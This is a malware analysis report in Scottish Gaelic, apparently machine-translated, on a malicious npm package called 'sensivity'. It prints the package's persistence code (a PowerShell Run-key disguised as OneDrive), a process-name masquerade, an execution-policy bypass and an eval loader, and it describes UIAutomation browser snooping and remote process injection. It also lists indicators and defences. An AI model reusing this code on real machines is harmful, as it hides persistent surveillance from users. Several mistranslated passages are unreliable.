TL; DR
Am pasgan npm cugallachd a’ toirt cunntas air fhèin mar “Pannal Smachd Mothachaidh.” Air Windows bidh e ag obair mar inneal smachd iomallach agus sgrùdaidh.
A phuing inntrigidh, launcher.js, ag ath-ainmeachadh a phròiseas fhèin gu Runtime Broker, a’ sgrìobhadh luach Run-key fèin-thòiseachaidh leis an ainm OneDriveUpdate a chuireas am pasgan air bhog a-rithist tro VBScript falaichte, a’ tòiseachadh PowerShell le -ExecutionPolicy Bypass, agus an uairsin a’ measadh luchd frithealaiche doilleir 171 KB còmhla ri modúl dùthchasach 6.87 MB, sens.node.
Bidh e a’ frithealadh pannal smachd paidhreachaidh fònaichean air port TCP 3000 agus a’ leughadh URL bàr-seòlaidh a’ bhrabhsair ghnìomhach tro Windows UIAutomation, a’ coimhead airson aon bhidio YouTube le còd cruaidh.
Tha dà phàirt a bha roimhe seo air am fàgail mar bhogsaichean dubha a-nis air am fuasgladh. Am frithealaiche doilleir, server.obf.js, a’ cleachdadh sgeama sreath-sreang obfuscator.io RC4; ma chuireas tu an dì-chòdaichear aige an gnìomh a-rithist far-loidhne (gun JavaScript air a chur an gnìomh) gheibhear air ais aon cheann-uidhe taobh a-muigh — https://izopi.com/check.php — còmhla ri iuchair phoblach RSA leabaithe a thathas a’ cleachdadh gus freagairtean ceadachais ainm-sgrìobhte a dhearbhadh.
Am modúl dùthchasach, sens.node, chan eil e air a phacaigeadh: tha an clàr in-mhalairt agus na sreangan leabaithe aige ga chomharrachadh mar chòmhdach in-gheam DirectX 11 / Dear ImGui a’ toirt seachad feartan aimbot, ESP (wall-hack), agus triggerbot, air an stiùireadh le stealladh pròiseas iomallach agus leughaidhean/sgrìobhaidhean cuimhne.
Tha sreangan na bhroinn a’ toirt iomradh air eintiteasan charbadan agus àiteachan mapa a tha a rèir GTA V / FiveM. ’S e am pasgan npm am pasgan lìbhrigidh is buan-sheasmhach a tha timcheall air a’ mhodal dhùthchasach sin.
Is e an comharra dearbhaidh obrachail, chan e teicnigeach: chuir aon fhoillsichear gun urra timcheall air seachdad dreach de aon phacaid air bhog - 2.5.0 tro 2.5.69 — thar beagan làithean, gach fear a’ giùlan an aon lannsair.
Chan eil stàladh sam bith ann hooksChan eil an luchd a’ ruith ach nuair a thèid am pasgan a thòiseachadh.
An Ionnsaigh: Mar a tha e ag Obrachadh
Bidh sensivity a’ cur deich faidhlichean. Tha am package.json gann: gun raon stòrais, gun chead, prìomh ainm-brèige agus dà ainm-brèige bin (sensivity, sens) uile a’ comharrachadh launcher.js, agus sgriobt tòiseachaidh de nód launcher.js. Chan eil iar-stàladh no ro-stàladh ann. Chan eil dad a’ losgadh air stàladh npm. Bidh an giùlan a tha air a mhìneachadh gu h-ìosal a’ ruith nuair a thòisicheas neach-cleachdaidh am pasgan - tron bhin shim, an sgriobt tòiseachaidh, no riatanas.
Tha an tarball a’ giùlan an launcher, frithealaiche falaichte, am modúl dùthchasach, sgriobt Visual Basic, agus eòlaire public/web airson a’ phannal smachd. ’S e launcher.js an orcastrator a ghabhas leughadh; tha an loidsig a tha cudromach aig àm ruith a’ fuireach anns an dà bhlob a luchdaicheas e — frithealaiche falaichte agus modúl dùthchasach co-chruinnichte, agus tha an dà chuid air am mìneachadh gu h-ìosal.
Pròiseas meallta agus ùrachadh OneDrive meallta
Tràth ann an cur an gnìomh, bidh launcher.js a’ suidheachadh ainm a phròiseis fhèin dà uair:
javascript process.title = 'Runtime Broker'; ’S e pròiseas dligheach Windows (RuntimeBroker.exe) a th’ ann an Runtime Broker a bhios a’ riaghladh cheadan aplacaidean. Ma dh’atharraicheas tu ainm pròiseas Node gus a bhith co-ionnan ris, chan fhaic thu dad neo-àbhaisteach le bhith a’ coimhead gu sgiobalta air Manaidsear Gnìomhan.
Tha Persistence air a sgrìobhadh tro PowerShell seach API clàraidh dìreach:
javascript execSync(`powershell -NoProfile -Command "$k='HKCU:\\Software\\Microsoft\\Windows\\CurrentVersion\\Run';$n='OneDriveUpdate';$v='wscript.exe \"${vbs}\"';Set-ItemProperty -Path $k -Name $n -Value $v -Force|Out-Null"`, { stdio: 'ignore', timeout: 5000 }); Is e OneDriveUpdate ainm an luach tòiseachaidh fèin-ghluasadach, agus chan eil e a’ comharrachadh a’ phacaid gu dìreach. Tha e a’ comharrachadh wscript.exe a’ ruith OneDrive.Standalone.Updater.vbs a tha sa phacaid. Bidh an sgriobt sin ag ath-fhosgladh node launcher.js ann an uinneag falaichte. Tha ainm an iuchair Run agus ainm faidhle VBScript le chèile a’ faighinn branndadh Microsoft, agus mar sin tha an inntrigeadh tòiseachaidh fèin-ghluasadach a’ leughadh mar ghnìomh OneDrive àbhaisteach.
PowerShell le seach-rathad poileasaidh-cur-an-gnìomh
Bidh an lannsair a’ cur a-mach cus airgid gu PowerShell a-rithist is a-rithist. Is e an sinc a bhios sganairean a’ comharrachadh mar rud èiginneach cur air bhog .ps1 a chaidh a chruthachadh leis a’ phoileasaidh cur an gnìomh à comas:
javascript exec('start "Windows PowerShell" powershell -NoProfile -ExecutionPolicy Bypass -File "' + psFile + '"', { cwd: APP_DIR }); Bheir ExecutionPolicy Bypass air falbh an sgrùdadh soidhnidh-sgriobta ionadail airson a’ ghairm sin. Bidh na sgriobtaichean a chaidh a chruthachadh a’ làimhseachadh na h-obrach sgrùdaidh-bhrabhsair agus lorg-uinneagan a tha air a mhìneachadh san ath earrann.
An frithealaiche doilleir agus am modúl dùthchasach
Às dèidh an stèidheachaidh, luchdaichidh launcher.js agus cuiridh e an gnìomh an fhìor luchd aige:
const serverCode = fs.existsSync(path.join(APP_DIR, 'server.obf.js')) ? path.join(APP_DIR, 'server.obf.js') : path.join(APP_DIR, 'server.js'); eval(fs.readFileSync(serverCode, 'utf8'));Tha server.obf.js 171 KB de dh’obfuscation _0x-array — am pàtran JavaScript far a bheil gach sreang agus comharraiche air a chur an àite le clàr-amais ann an sreath measgaichte, agus an uairsin air a dhì-iomradh aig àm ruith. Is e an sgeama an caochladh RC4 a chaidh a thoirt gu buil le obfuscator.io: bidh gnìomh dì-chòdachaidh singilte base64 a’ dì-chòdachadh inntrigeadh sreath agus an uairsin ga dhì-chrioptachadh le RC4 le iuchair gach gairm. Ath-chur an gnìomh an dì-chòdachaidh sin ann an sgriobt air leth — a’ ruith an ath-chur an gnìomh a-mhàin thairis air an t-sreath sreang 821-inntrigidh a chaidh a thoirt a-mach, gun a bhith a-riamh air JavaScript a’ phacaid fhèin — ga leigeil ma sgaoil gu glan. Tha na tha a’ tighinn am bàrr meadhanach ach decisive: aon URL taobh a-muigh, https://izopi.com/check.php`, air a shònrachadh do sheasmhachd LICENSE_URL; RSA PUBLIC_KEY_PEM` leabaithe; bidh am pannal ionadail a’ sligheachadh /api/kill, /api/qr.png, /api/trigger, /api/url, /trigger/off, agus /trigger/status; agus na sreangan child_process, crypto, agus [Sensivity] sens.node air an luchdachadh — am fear mu dheireadh mar an loidhne loga mionaideach a bhios an lannsair ag ath-sgrìobhadh gu modúl a’ phrògraim air a luchdachadh. Is e sgrùdadh ceadachais a th’ anns a’ cheann-uidhe: bidh an neach-dèiligidh a’ postadh comharraiche (bidh am frithealaiche doilleir a’ cruthachadh sreang Discord ID: %s) agus bidh an iuchair RSA a’ dearbhadh freagairt ainm-sgrìobhte an fhrithealaiche.
’S e leudachadh dùthchasach co-chruinnichte 6.87 MB a th’ ann an sens.node, agus chan eil e pacaichte — tha entropy nan earrannan aig 5.6–6.6 agus tha na clàran in-mhalairt is às-mhalairt PE slàn, agus mar sin tha na comasan aige ri leughadh gu dìreach. Bidh e a’ cur a-mach napi_register_module_v1, an standard Puing inntrigidh N-API an nóid, agus mar sin bidh an frithealaiche a chaidh a mheasadh ga luchdachadh le riatanas sìmplidh. ’S e an clàr in-mhalairt aige an t-innse. À KERNEL32 bidh e a’ tarraing OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread, K32EnumProcessModules, agus Process32First/NextW — an seata àbhaisteach airson pròiseas eile a lorg, cuimhne a riarachadh na bhroinn, agus an cuimhne sin a leughadh no a sgrìobhadh. À USER32 bidh e a’ tarraing GetAsyncKeyState, GetKeyState, mouse_event, agus SetCursorPos; bidh e a’ ceangal d3d11.dll, D3DCOMPILER_43, agus dwmapi airson còmhdach air-sgrion, agus an seata WINHTTP slàn airson gairmean lìonra. Tha na sreangan leabaithe aige ag ainmeachadh an t-seata fheartan gun teagamh: Enable Aimbot, Aimbot FOV, Box ESP, Skeleton ESP, Triggerbot, ESP Builder, Vehicle ESP, Electron Anticheat detected, agus bratach Dear ImGui Dear ImGui 1.91.3 WIP. Tha sreangan àite is eintiteas leithid Grapeseed Medical Clinic agus briathrachas an vehicle-ESP a rèir GTA V / FiveM.
Tha an sgaradh seo air a dhèanamh a dh'aona ghnothach: chan eil anns an launcher.js a ghabhas leughadh ach na pàirtean a leughas sganair gu furasta — buanseasmhachd, masquerade, a’ ghairm eval fhèin — agus tha an doilleireachd a’ falach an aon aoigh taobh a-muigh na conaltraidhean ruith-ùine, agus tha am binary a’ cumail an loidsig còmhdach-geama agus stealladh-pròiseis. ’S e an launcher an t-slige tana, sgrùdaichte; tha am frithealaiche doilleir a’ falach dearbh-aithne an lìonraidh; ’s e am modúl dùthchasach an luchd. Tha sinn a’ toirt cunntas air in-mhalairt agus sreangan a’ binary mar a chaidh an leughadh; chan eil sinn a’ toirt a-mach adhbhar an obraiche bhuapa.
Pannal smachd paidhreachaidh fòn air port 3000
Bidh an lannsair a’ riaghladh frithealaiche lìn ionadail air port TCP 3000 agus ga làimhseachadh mar singleton. Bidh e a’ faighneachd airson neach-èisteachd a tha ann mar-thà agus ga ghlanadh mus ceangail e:
javascript execSync('powershell -NoProfile -Command "$c=Get-NetTCPConnection -LocalPort 3000 -State Listen -EA 0; if($c){$c | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force -EA 0 }}"', { stdio: 'ignore', timeout: 5000 }); Gheibhear am pannal aig http://localhost:3000, le URL cùl-taic LAN cruaidh-chòdaichte de http://192.168.1.16:3000. Tha an eòlaire public/ agus giùlan a’ phannail a rèir sruth paidhrichean QR: bidh fòn a’ sganadh còd agus a’ ceangal ris an aoigh mar inneal iomallach. Chan eil àrainn àithne is smachd taobh a-muigh a’ nochdadh ann an teacsa soilleir anns an lannsair - ach, mar a tha an dì-obfuscation gu h-àrd a’ sealltainn, tha fear an làthair anns an fhrithealaiche doilleir: ceann-uidhe ceadachais izopi.com. Tha am pannal fhèin ionadail agus le raon LAN; is e an aon aoigh a-muigh an sgrùdadh ceadachais sin.
Cumaidh modail stiùiridh/neach-obrach neo-cheangailte am pròiseas beò. Bidh an lannsair ga ath-thòiseachadh fhèin le brataichean àrainneachd SENSIVITY_SUPERVISOR agus SENSIVITY_WORKER, gach pàiste a’ ruith falaichte, agus mar sin ma mharbhas tu aon phròiseas, fàgaidh e buidheann-faire gus ath-thòiseachadh air.
Faireachas Brabhsair agus Comharra YouTube
Is e sgrùdadh brobhsair an giùlan as sònraichte. Bidh launcher.js a’ togail PowerShell a bhios a’ stiùireadh Windows UIAutomation gus bàr seòlaidh brobhsair a tha a’ ruith a leughadh:
javascript '$pattern = $edit.GetCurrentPattern([System.Windows.Automation.ValuePattern]::Pattern)', Bidh ValuePattern a’ tilleadh susbaint teacsa eileamaid UI. Nuair a thèid a chur an sàs ann an smachd deasachaidh bàr seòlaidh brabhsair, bidh e a’ tilleadh an URL a tha an neach-fulang a’ coimhead an-dràsta - às aonais leudachadh brabhsair, gun a bhith a’ beantainn ris a’ phròifil air diosg, agus às aonais dubhan API. Bidh an sgriobt a chaidh a chruthachadh ag ath-aithris liosta $browserNames agus a’ toirt a-mach URL no tiotal na h-uinneige ge bith dè am brabhsair a tha air a bheulaibh.
Tha an URL sin air a dhearbhadh an aghaidh aon targaid le còd cruaidh:
javascript const TARGET_YOUTUBE_VIDEO_ID = 'wJWta2lO0Lw'; Bidh an lannsair a’ dèanamh bhòtadh air lùb trì diogan airson uinneag brabhsair a’ sealltainn YouTube, agus bidh paidhir Get-YouTubeBrowser / Test-TargetYouTubeUrl aig a’ PowerShell a chaidh a chruthachadh a tha a’ freagairt ris an ID bhidio sin. Tha dà bhuaidh ri fhaicinn: thèid an URL brabhsaidh gnìomhach a leughadh far scrion an neach-fulang, agus thèid eadar-obrachadh an aoigh le aon bhidio YouTube sònraichte a lorg. Tha sinn a’ toirt cunntas air an dòigh-obrach agus an targaid; chan eil sinn a’ toirt a-mach adhbhar bhuapa.
’S e an leughadh sa bhàr-seòlaidh a chanas an sganair ris an ainm sensitive_data_enumeration — stòr Process::env agus UIAutomation a bhios a’ biathadh ùine ruith comasach air lìonra. Tha e coltach ri rud neo-chùramach leis fhèin agus chan eil e a’ rèiteachadh gu bhith na sgrùdadh ach nuair a thèid cearcall-beatha an dàta a leantainn bhon stòr UIAutomation chun an fhrithealaiche falaichte.
Loidhne-tìm agus Mean-fhàs nan Tionndaidhean
Chan e luchdachadh suas aon-uair a th’ ann an cugallachd. Tha timcheall air seachdad dreach foillsichte den phacaid shingilte seo aig cunntas an fhoillsichear, agus bha feadhainn ùra a’ tighinn a-steach rè na h-uinneige ath-bhreithneachaidh. Bidh an lannsair a’ fàs feart às dèidh feart thar loidhne 2.5.x fhad ‘s a tha a sheasmhachd agus a luchdachadh luchdan seasmhach.
| Ceann-latha (UTC) | Tionndaidhean a chaidh fhaicinn | Staid an lannsair |
|---|---|---|
| 2026-06-02 | 2.5.8 - 2.5.46 (25) | Lannsair pannal QR bunaiteach; buan-sheasmhachd iuchrach ruith; measadh air frithealaiche doilleir. |
| 2026-06-03 | 2.5.53 - 2.5.61 (6) | An aon lorgan-meòir; casg air lorgan consol. |
| 2026-06-04 | 2.5.67, 2.5.68 (2) | Cuir targaid conaltraidh YouTube prìnichte ris wJWta2lO0Lw. |
| 2026-06-05 | 2.5.0 - 2.5.69 (24) | Ath-fhoillseachadh lìonadh beàrnan air feadh an raoin; neach-faire/stiùiriche luchd-obrach. |
Nuair a leughas tu an lannsair thar riochdairean a chaidh a luchdachadh sìos — 2.5.0, 2.5.36, agus 2.5.69 — chithear ceithir ìrean. Tha an lannsair paidhir QR bunaiteach anns na togail as tràithe. Bho 2.5.33 nochdaidh inneal-buain bàr-seòlaidh UIAutomation. Bho 2.5.58 thèid sreath riaghlaidh-stiùiriche a chur ris. Bho 2.5.64 bidh am buidheann-faire/neach-obrach neo-cheangailte a’ crìochnachadh an t-seata. Tron ùine sin, chan atharraich ceithir rudan gu bràth: an iuchair OneDriveUpdate Run, an dropper OneDrive.Standalone.Updater.vbs, am server.obf.js a chaidh a mheasadh, agus am modúl dùthchasach sens.node.
Tha tonn 2026-06-05 cudromach leis gun do dh’fhoillsich e na h-àireamhan dreach ìosal - 2.5.0 gu 2.5.15 - a tha fo na dreachan a chaidh a dhearbhadh làithean roimhe sin. Is e a’ bhuaidh loidhne 2.5.x leantainneach air a’ chlàr, gach dreach a’ giùlan an aon lannsair.
Comharran co-rèiteachaidh
Chaidh na comharran gu h-ìosal uile a leughadh gu dìreach bhon phacaid tarball. Chan eil ach lùb-thilleadh agus aon seòladh LAN prìobhaideach aig an lannsair a ghabhas leughadh; chaidh an aon ainm-aoigheachd taobh a-muigh, izopi.com, fhaighinn air ais le bhith a’ dì-obfuscachadh server.obf.js far-loidhne.
| Type | comharra | Notaichean |
|---|---|---|
| pasgan | npm:sensivity (≈70 dreach, 2.5.0-2.5.69) | Foillsichear aon-phacaid; gun stòr-dàta; gun chead. |
| File | launcher.js | Orchestrator a ghabhas leughadh; prìomh thargaid agus targaid bin. |
| File | server.obf.js (≈171 KB) | Uallach sreang-array obfuscator.io RC4, air a luchdachadh tro eval(fs.readFileSync(...)). |
| File | sens.node (≈6.87 MB) | PE32+ x86-64 Nòd N-API addon; SHA-256 66b674884042fca2f056d06854325ea0e8bc902d4e3cdaeafd5fe08c7d0aab40. |
| File | OneDrive.Standalone.Updater.vbs | Ath-thòiseadair falaichte (node launcher.js). |
| lìonra | https://izopi.com/check.php | Ceann-uidhe ceadachais/dearbhaidh air fhaighinn air ais bhon fhrithealaiche falaichte; bidh iuchair phoblach RSA leabaithe a’ dearbhadh fhreagairtean. |
| Comas | OpenProcess, VirtualAllocEx, WriteProcessMemory, ReadProcessMemory, CreateRemoteThread | In-stealladh phròiseasan iomallach agus comas leughaidh/sgrìobhaidh cuimhne. |
| Comas | Enable Aimbot, Box ESP, Triggerbot, Vehicle ESP, Dear ImGui 1.91.3 WIP | Còmhdach geama DirectX 11 / ImGui a’ cur feartan aimbot, ESP, agus triggerbot an gnìomh. |
| Clàradh | HKCU\Software\Microsoft\Windows\CurrentVersion\Run → OneDriveUpdate | Luach tòiseachaidh fèin-ghluasadach a’ comharrachadh aig wscript.exe agus an lannsair VBScript. |
| pròiseas | process.title = 'Runtime Broker' | A’ leigeil air gur e pròiseas dligheach Windows Runtime Broker a th’ ann. |
| Giùlan | powershell -NoProfile -ExecutionPolicy Bypass -File <generated>.ps1 | Seach-sheachnadh poileasaidh cur an gnìomh air a chleachdadh airson sgriobtaichean PowerShell a chaidh a chruthachadh. |
| Giùlan | UIAutomation ValuePattern leughadh bàr seòlaidh a’ bhrabhsair | A’ leughadh URL uinneag a’ bhrabhsair air a’ bheulaibh. |
| Giùlan | ID bhidio targaid wJWta2lO0LwPoileadh YouTube 3-diogan | Comharra sgrùdaidh conaltraidh prìne. |
| lìonra | http://localhost:3000, cùl-taic http://192.168.1.16:3000 | Pannal smachd paidhreachaidh QR ri fhaicinn gu h-ionadail agus air an LAN. |
| àrainneachd | SENSIVITY_SUPERVISOR, SENSIVITY_WORKER | Brataichean co-òrdanachaidh pròiseas buidheann-faire air leth. |
Cur às do Bhuaidh, Buaidh, agus Luchd-dìon
Tha am pasgan air fhoillseachadh le aon chunntas npm aig a bheil seòladh Gmail neo-dhearbhaichte mar phost-d. Tha sgòr cliù clàraidh gu math àicheil aig a’ chunntas, chan eil e a’ cumail suas agus a’ foillseachadh ach an aon phacaid seo, agus chan eil stòr-dàta ceangailte ris. Cha do dhearbh sinn seilbh a’ phuist-d agus tha sinn a’ cur an iomairt às leth cunntas an fhoillsichear, chan ann às leth neach ainmichte sam bith. Chan eil bun-structar teacsa soilleir aig an lannsair, ach tha an aon aoigh taobh a-muigh aithnichte a-nis: bidh an frithealaiche doilleir a’ conaltradh ri izopi.com airson sgrùdadh ceadachais, agus tha am modúl dùthchasach - air a leughadh bhon chlàr in-mhalairt agus na sreangan aige seach stiùireadh-air-stiùireadh air ais - na chòmhdach geama a bhios a’ stealladh a-steach agus a’ leughadh cuimhne pròiseas eile.
Tha a’ bhuaidh a chithear a’ tuiteam air luchd-cleachdaidh Windows a bhios a’ stàladh agus a’ ruith Sensivity an dùil ri goireas pannal smachd. Air na h-aoighean sin, bidh am pasgan a’ stèidheachadh buan-sheasmhachd fèin-thòiseachaidh falaichte mar ghnìomh OneDrive, ga ath-ainmeachadh fhèin gus pròiseas siostaim aithris, a’ leughadh URL ge bith dè a tha an neach-cleachdaidh a’ brobhsadh, agus a’ stèidheachadh pannal paidhreachaidh a cheanglas an inneal ri inneal iomallach thairis air an lìonra ionadail. Tha am buidheann-faire stiùiriche/neach-obrach a’ ciallachadh nach toir marbhadh pròiseas singilte air falbh e; mairidh an inntrigeadh Run-key ath-thòiseachadh. Chan eil macOS agus Linux nan targaid leis an lannsair - tha na slighean buan-sheasmhachd, PowerShell, agus UIAutomation airson Windows a-mhàin.
’S e gluasad a tha airidh air aire a tharraing gu seachdad dreach. Ma thèid aon phacaid ath-fhoillseachadh grunn thursan ann am beagan làithean, a’ gabhail a-steach àireamhan dreach a lìonadh air ais fo na dreachan a chaidh a thoirt sìos mu thràth, bidh leth-bhreac beò air a’ chlàr eadar na dreachan a thèid a thoirt air falbh agus bidh e a’ cur bacadh air liostaichean bacaidh a tha ceangailte ri dreachan. Chan eil inntrigeadh liosta bacaidh airson sensitivity@2.5.61 a’ dèanamh dad an aghaidh ath-fhoillseachadh sensitivity@2.5.3 an ath latha.
Faodaidh luchd-dìon gnìomh a dhèanamh air na leanas:
- Cuir bacadh air cugallachd ainm a’ phacaid gu tur ann an liostaichean ceadaichte clàraidh-proxy agus CI. Bidh prìneadh dreachan fa leth a’ call buaidh air astar an ath-fhoillseachaidh; ’s e an t-ainm an comharra maireannach.
- Coimhead airson luach Run leis an ainm OneDriveUpdate aig a bheil dàta a’ gairm wscript.exe an aghaidh .vbs ann an slighe gach neach-cleachdaidh. Chan eil an fhìor ùraichear OneDrive clàraichte san dòigh seo.
- Rabhadh mu phròiseas Node.js aig a bheil Runtime Broker mar an tiotal air process.title. Is e RuntimeBroker.exe am broker fhèin, chan e Node runtime.
- Comharraich na pacaidean a thèid a thoirt a-mach aig àm an stàlaidh le bhith a’ lìbhrigeadh addon .node co-chruinnichte agus eval(fs.readFileSync(…)) de fhaidhle .obf.js co-cheangailte. Is e am paidhir sin - faidhle binary dùthchasach neo-shoilleir air a luchdachadh ri taobh luchd teacsa doilleir - an t-inneal structarail an seo, neo-eisimeileach bho shreang IOC sam bith.
- Làimhsich neach-èisteachd sam bith a tha ceangailte gu h-ionadail air port 3000 a chaidh a chruthachadh le pròiseas Node ris nach robh dùil mar neach amharasach air puingean-crìochnachaidh Windows fo stiùir.
- Bacadh no rabhadh mu iarrtasan a-mach gu izopi.com bho luchd-leasachaidh no luchd-aoigheachd luchd-cleachdaidh deireannach; is e seo an aon cheann-uidhe taobh a-muigh aig a’ phacaid, a ruigear aig /check.php bhon fhrithealaiche falaichte.
- Airson leudachadh .node sam bith a tha air a phacaigeadh, thoir sùil air a’ chlàr in-mhalairt aige mus cuir thu earbsa ann. Tha an cothlamadh OpenProcess + VirtualAllocEx + WriteProcessMemory + CreateRemoteThread na stealladh pròiseas iomallach ge bith dè a tha am pasgan ag ràdh a nì e; an seo tha e ri taobh còmhdach Direct3D agus sreangan aimbot/ESP/triggerbot.
Airson mion-sgrùdadh statach pipelines, tha cumadh a’ chreideimh seasmhach thar gach tionndadh dreach: pròifil stàlaidh neo-lìonra, sònrachadh tiotal pròiseis gu ainm pròiseas-siostaim aithnichte, sgrìobhadh Run-key tro PowerShell, agus measadh faidhle a chaidh a leughadh bhon diosg. Chan eil gin dhiubh sin an urra ri àrainn, IP, no àireamh dreach as urrainn don ath-fhoillseachadh a thionndadh air falbh.
iomraidhean
[npm: cugallachd] – duilleag clàraidh airson loidhne dreach a’ phacaid air a bheilear a’ bruidhinn an seo; dh’fhaodadh e bhith air a thoirt air falbh.
